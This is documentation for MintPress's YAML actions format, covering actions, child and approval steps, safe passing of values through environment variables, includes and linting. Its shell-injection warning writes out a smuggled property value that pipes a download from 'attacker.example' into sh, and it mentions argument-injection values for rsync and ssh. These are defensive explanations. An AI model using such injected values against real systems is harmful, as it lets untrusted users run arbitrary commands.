YAML actions reference
YAML actions are complete and supported for evaluation. The file format and its schema may still change before general availability, so keep actions.rb for production actions until then.
New to actions.yaml? Follow the getting-started tutorial first.
An actions.yaml file lets you define MintPress actions declaratively, without writing Ruby. It is an opt-in alternative to actions.rb: the same actions, child steps, wait steps, input steps, approval steps and resources can be described in YAML, and MintPress turns them into exactly the same steps and action list that the equivalent actions.rb would produce.
After reading this guide you should understand:
- where MintPress looks for an
actions.yamlfile, and how it combines withactions.rb - how to define actions that run commands, safely
- how to compose actions into child steps, including wait, input and approval steps
- how to create resources from resource types
- how to define a step inline, inside the action that uses it
- how to split actions across several YAML files
- how to check an
actions.yamlfile before you commit it - when you still need
actions.rb
A first example
actions:
build:
description: Build the application
run: ./bin/build.sh
smoke_test:
description: Check the deployed application responds
env:
APP_URL: '{{ properties.app.url }}'
run: curl --fail --silent "$APP_URL/health"
deploy:
description: Build, approve and test a release
steps:
- build
- approval:
step_name: Approve go-live
requires_approval_from:
- ldap_groups: [release-managers]
- smoke_test
Running the deploy action creates a change with three child steps - build, an Approve go-live approval step and smoke_test - exactly as if it had been written as:
action :deploy, description: 'Build, approve and test a release',
steps: [:build, OpsChain.approval_step(requires_approval_from: [{ ldap_groups: ['release-managers'] }], step_name: 'Approve go-live'), :smoke_test]
Where actions.yaml is loaded from
MintPress looks for actions.yaml in the same places it looks for actions.rb:
- the root of the Git repository
- the folder of an asset template (
<template code>/actions.yaml)
Both files are optional and both are loaded when present. MintPress loads every actions.rb first, then every actions.yaml, so YAML actions can refer to actions and resource types defined in Ruby. A repository, or an asset template's folder, may contain only an actions.yaml (i.e. the actions.rb is optional if the actions.yaml is present, and vice versa).
The step log names the files that were loaded. A repository with only an actions.yaml logs Loading actions.yaml before executing "deploy", and one with both files logs Loading actions.rb, actions.yaml before executing "deploy". A repository with only an actions.rb logs Loading actions.rb before executing "deploy". If neither file exists, the error reads No global or template specific actions.rb or actions.yaml file found.
The file has four optional top-level keys:
| Key | Purpose |
|---|---|
actions | A mapping of action name to action definition |
resources | A mapping of resource name to resource definition |
require | A list of Ruby libraries (e.g. resource type gems) to load first |
include | A list of other YAML action files to load as well |
Unknown keys are rejected with an error naming the file and the valid keys, so a typo such as action: or discription: fails the change rather than being silently ignored. A key repeated in the same mapping, such as an action defined twice, is rejected with an error naming its line. MintPress also checks every file against the actions.yaml JSON Schema each time it loads it, so a value the linter would reject, such as ignore_failure: "false" or run_as: concurrent, fails the change even if the linter was never run.
Defining actions
Each entry under actions is an action. Every key is optional:
| Key | Equivalent in actions.rb |
|---|---|
description | description: - actions with a description are shown in the GUI |
step_name | step_name: |
run | the action's block - see running commands |
env | environment variables for run - see passing values |
steps | steps: - see child steps and inline steps |
run_as | run_as: - sequential (the default) or parallel |
prerequisites | prerequisite actions |
ignore_failure | ignore_failure: |
reload_actions | reload_actions: |
input_arguments | input_arguments: |
requires_approval_from | requires_approval_from: |
dangerously_allow_script_interpolation | no equivalent - see opting in to unsafe interpolation |
An action with neither run nor steps does nothing, as an actions.rb action without a block does. Action names may include : to place them in a namespace, and resource actions are referenced the same way they are in Ruby (e.g. web:restart).
Running commands
run executes a command in the step runner. It takes one of two forms.
A script - a string, run with bash -e, so the step fails on the first failing command:
actions:
build:
run: |
bundle install
bundle exec rake build
An argument list - the command and its arguments, run directly without a shell:
actions:
restart:
run: [systemctl, restart, myapp]
A command that exits with a non-zero status fails the step (unless the action has ignore_failure: true).
Passing values to a command
Most commands need values from MintPress - a host name from the properties, a version supplied by an input step, the environment being deployed to. Pass these in through env, and refer to them as quoted shell variables in the script. This is the recommended form:
actions:
deploy:
env:
TARGET_HOST: '{{ properties.app.host }}'
APP_VERSION: '{{ properties.version }}'
ENVIRONMENT: '{{ context.parents.environment.code }}'
run: |
echo "Deploying $APP_VERSION to $ENVIRONMENT"
./bin/deploy --host "$TARGET_HOST" --version "$APP_VERSION"
Values placed in environment variables are never interpreted by the shell as code, whatever they contain. Always wrap the variables in double quotes ("$TARGET_HOST", not $TARGET_HOST) - an unquoted variable is still split on spaces and expanded as a file pattern.
Properties under opschain.env are already set as environment variables for every step, so they can be used in a script directly, with no env entry at all.
The argument list form can also use expressions in its arguments, as each argument is passed to the command as-is, without a shell:
actions:
restart:
run: [ssh, '{{ properties.app.host }}', sudo systemctl restart myapp]
:::danger Expressions are not allowed inside a script
MintPress rejects a run script that contains a {{ }} expression, and fails the action with an error pointing at env:
actions:
deploy:
# Rejected - the property value would be pasted into the script as shell code
run: ./bin/deploy --host {{ properties.app.host }}
If an expression were substituted into the script text, a property value such as web-1; curl https://attacker.example | sh would be run as a command - and quoting the expression ("{{ ... }}" or '{{ ... }}') does not prevent this, because the value can contain the closing quote. Properties can be edited through the OpsChain API and GUI by users who cannot change the Git repository, so substituting them into a script would let those users run any command in the step runner. Use env instead.
:::
Opting in to unsafe interpolation
If an action really needs expressions pasted into its script - for example to build a command from a trusted value that env cannot express - set dangerously_allow_script_interpolation: true on that action:
actions:
legacy_deploy:
dangerously_allow_script_interpolation: true
run: ./bin/deploy {{ properties.deploy.flags }}
The action's expressions are then substituted into its run script as plain text, and into the command itself when run is an argument list. MintPress writes a warning to the step log every time the action runs. The setting applies to that one action only, must be exactly true (yes or 1 are rejected), and has no effect on other actions in the file.
With this setting, anyone who can edit a property the action uses can run any command in the step runner, with the step's credentials and secrets. Only use it when every property the action references is controlled by people who are already trusted to change the Git repository, and prefer env whenever it can do the job.
:::warning Argument lists still pass values to the command
The argument list form cannot run extra commands, but an expression can still change what the command does - for example, a property value of --delete passed to rsync, or a host name such as -oProxyCommand=... passed to ssh. Where the command supports it, put -- before arguments that come from properties ([rsync, -a, --, '{{ properties.src }}', /data]). An expression cannot be used as the command itself (the first item of the list) unless the action opts in to unsafe interpolation.
:::
:::warning Secret values
Arguments in the argument list form are written to the step log as part of the command line. Pass secret values (for example secret vault properties) through env, whose values are not logged.
:::
Expressions
An expression is written {{ <root>.<path> }} and looks a value up - it is not code, and cannot call functions or do arithmetic. Expressions can be used in env values, in the arguments of an argument-list run, and in resource properties.
| Root | Looks up | Example |
|---|---|---|
properties | the step's merged properties | {{ properties.app.host }} |
context | the step's context | {{ context.parents.project.code }} |
env | an environment variable in the step runner | {{ env.HOME }} |
Expressions are resolved when the step runs, so values set by an earlier step or an input step are available. Lists and mappings are inserted as JSON. If any part of the path does not exist the step fails with an error naming the missing key - a missing value is never silently replaced with an empty string.
Child steps
steps lists the action's child steps. Each entry is either an action name or a mapping:
actions:
release:
run_as: sequential
steps:
- build # an action, by name
- action: migrate # an action, with options
ignore_failure: true
- parallel: [deploy_web, deploy_worker]
step_name: Deploy services
- wait: { step_name: Check dashboards }
- smoke_test
| Entry | Equivalent in actions.rb |
|---|---|
- name | :name |
- action: name + options | OpsChain.step('name', ...), with ignore_failure, wait, input_arguments, requires_approval_from, step_name or wait_step_name |
- parallel: [...] | OpsChain.steps([...], run_as: :parallel), optionally with step_name |
- sequential: [...] | OpsChain.steps([...], run_as: :sequential), optionally with step_name |
- wait: ... | OpsChain.wait_step(...) |
- input: {...} | OpsChain.input_step(...) |
- approval: {...} | OpsChain.approval_step(...) |
- name: ... + run or steps | an action defined in place - see inline steps |
Entries inside parallel, sequential and the steps of a wait, input or approval step can themselves be any of the above.
Wait, input and approval steps
actions:
rollout:
steps:
- wait: true # wait for a user to continue
- wait: 300 # pause for five minutes
- wait:
step_name: Confirm maintenance window
steps: [shutdown] # nest steps under the wait step
- input:
step_name: Release details
input_arguments:
- ticket
- version: { type: string, valid_values: ['1.0', '2.0'] }
- approval:
step_name: Approve go-live
requires_approval_from:
- ldap_groups: [release-managers]
- user_names: [alice]
steps: [go_live]
input_arguments and requires_approval_from use the same structure as in actions.rb - see input steps and approval steps. Input values are stored in the properties at the argument's path, so a later step can use them as {{ properties.ticket }}.
Inline steps
A step can define its action in place, instead of naming an action defined elsewhere in the file. An entry in steps with a name and a run and/or steps is an inline step. It accepts the same keys as an entry under actions, including env, ignore_failure and dangerously_allow_script_interpolation:
actions:
deploy:
description: Build and restart the web tier
steps:
- build
- name: Restart web
description: Restart the web tier
run: [systemctl, restart, web]
- name: Smoke test
env:
APP_URL: '{{ properties.app.url }}'
run: curl --fail --silent "$APP_URL/health"
build:
run: ./bin/build.sh
MintPress defines each inline step as an action named <parent>:<slug>, where <parent> is the action containing the step and <slug> is the step's name in lower case, with each run of characters other than letters and digits replaced by a single _. The steps above become the actions deploy:restart_web and deploy:smoke_test. The step's name is also used as its step name. The generated name depends only on the parent action and the name, so it is the same every time the actions are loaded. Use it wherever an action name is used, such as when skipping steps or choosing the step to start from.
An inline step is shown in the list of actions you can run only when it has a description, as with an action under actions. Without one it only runs as a child of its parent. An inline step can contain its own steps, including further inline steps, and the steps of a wait, input or approval step can contain inline steps too.
MintPress fails to load the file, naming the step, when:
- the step has a
namebut neitherrunnorsteps - the step mixes
namewith one ofaction,wait,approval,input,parallelorsequential - the
namehas no letters or digits to build an action name from - the generated name matches an action defined under
actions, or two inline steps in the same file generate the same name (for exampleRestart webandrestart-webin one action)
Prerequisites
prerequisites lists actions to run first, in the same step runner, before the action itself:
actions:
package:
prerequisites: [compile]
run: ./bin/package
Resources
resources creates resources from existing resource types. The resource type itself must be defined in Ruby - either in actions.rb or in a gem listed under require:
require:
- my-company-resource-types # a gem that defines the my_server resource type
resources:
web:
type: my_server
properties:
hostname: '{{ properties.web.host }}'
port: 22
actions:
restart_web:
steps: [web:restart]
Property values may use expressions. A value that is a single expression keeps the type of the property it refers to (a number, list or mapping), while an expression within a longer string is inserted as text. Properties are resolved when the resource is used, not when actions.yaml is loaded.
Splitting actions across files
A large actions.yaml can be split up, and one set of actions shared between files, with include. Each entry names another YAML file, relative to the file that includes it:
include:
- shared/database.yaml # its actions keep their own names
- file: components/web/actions.yaml
namespace: web # its actions are named web:deploy, web:restart and so on
actions:
deploy:
steps:
- database:migrate
- web:deploy
An entry is either a path or a mapping with a file and an optional namespace. An included file uses the same format as actions.yaml and follows the same rules, so it can define actions and resources, require libraries and include further files of its own.
- Namespaces. With
namespace, every action the file defines is prefixed with it, including its inline steps. Within the included file, actions refer to each other by their short names; the including file refers to them by their full names. Resource types from libraries listed under an included file'srequireare not namespaced, so every file can use them. - Load order. An included file is loaded after the including file's
requireandresources, and before itsactions. - Where files may be. The path must be relative, end in
.yamlor.yml, and resolve (following symbolic links) to a file inside the Git repository. A file included from an asset template'sactions.yamlmust be inside that template's folder. - Each file once. Including the same file twice in one
actions.yaml, directly or through other included files, is an error naming both places it was included from. This also stops one file including itself, directly or in a loop. The repository'sactions.yamland a template'sactions.yamlload separately, so each of them may include the same shared file.
Errors in an included file name that file, and so does where an action is defined. The linter checks included files when it loads the actions.yaml that includes them.
Checking your actions.yaml
The OpsChain linter checks every actions.yaml in the Git repository, including those in subfolders, alongside its Ruby syntax checks. Run it with mintpress dev lint outside the OpsChain development environment, or opschain-lint inside it. Set OPSCHAIN_LINT_GIT_KNOWN_ONLY to skip files Git does not yet track.
For each file the linter:
- validates the structure against the actions.yaml JSON Schema, which reports unknown keys, values of the wrong type and invalid inline steps
- when the structure is valid, loads the file the way a change would, which catches problems the schema cannot express, such as a
{{ }}expression in arunscript, an unusabledangerously_allow_script_interpolationvalue or clashing inline step names
The linter prints the errors for each invalid file and exits with a non-zero status, so it can also gate a pre-commit hook or a CI job.
The load is a dry run. It does not load the gems listed under require, create resources or run any command, so the linter does not check that a resource type exists, that a {{ }} expression refers to a property that exists, or that an action named in steps or prerequisites is defined. These are only found when the change runs.
Editor completion and validation
Download the actions.yaml JSON Schema for this version of the documentation, or point an editor that supports JSON Schema for YAML straight at its URL to get completion and validation as you type. Each released version of the documentation links the copy of the schema that matches that release.
With an editor that uses the YAML language server, such as Visual Studio Code with the Red Hat YAML extension, make this comment the first line of your actions.yaml:
# yaml-language-server: $schema=https://docs.mintpress.io/files/downloads/actions_yaml_schema.json
actions:
hello_world:
run: echo "Hello world :-)"
Alternatively, to apply the schema to every actions.yaml without editing the files, add it to the yaml.schemas setting in your Visual Studio Code settings.json:
{
"yaml.schemas": {
"https://docs.mintpress.io/files/downloads/actions_yaml_schema.json": "**/actions.yaml"
}
}
Where an action is defined
Each action in the list MintPress builds from your repository records the file and line that defines it, relative to the root of the Git repository (for example actions.yaml, line 12). This applies to actions defined in actions.rb too. An action defined outside the repository has no location.
When to use actions.rb
actions.yaml covers the structure of a change - which steps run, in what order, behind which gates - and commands to run. Use actions.rb (alone, or alongside actions.yaml) when you need:
- logic: conditions, loops or calculations in an action
- dynamic child steps: child steps decided while the change runs
- resource types and controllers: these are always defined in Ruby, then used from YAML
- MintModel integration beyond running MintModel actions as named steps
Because both files are loaded together, a YAML action can list a Ruby action as a step, and a Ruby action can list a YAML action. A common pattern is to keep the orchestration in actions.yaml and the few complex actions in actions.rb.
Limitations
- Child steps can only be defined in YAML ahead of time. Steps computed while the change runs require
actions.rb. - Expressions only look values up. There are no filters, defaults or conditionals.
- Property keys containing a
.cannot be referenced in an expression. - YAML anchors and aliases are supported, but merge keys (
<<:) do not carry the source line into error messages. - YAML reads some unquoted values as numbers that differ from what was written:
010is read as8,0x1fas31,1:30as5400and80,443as80443. MintPress writes a warning to the step log for each one, naming the file and line. Quote such values ('010'). An unquoted date or symbol, such asdescription: 2026-10-30, is rejected with an error saying to quote it.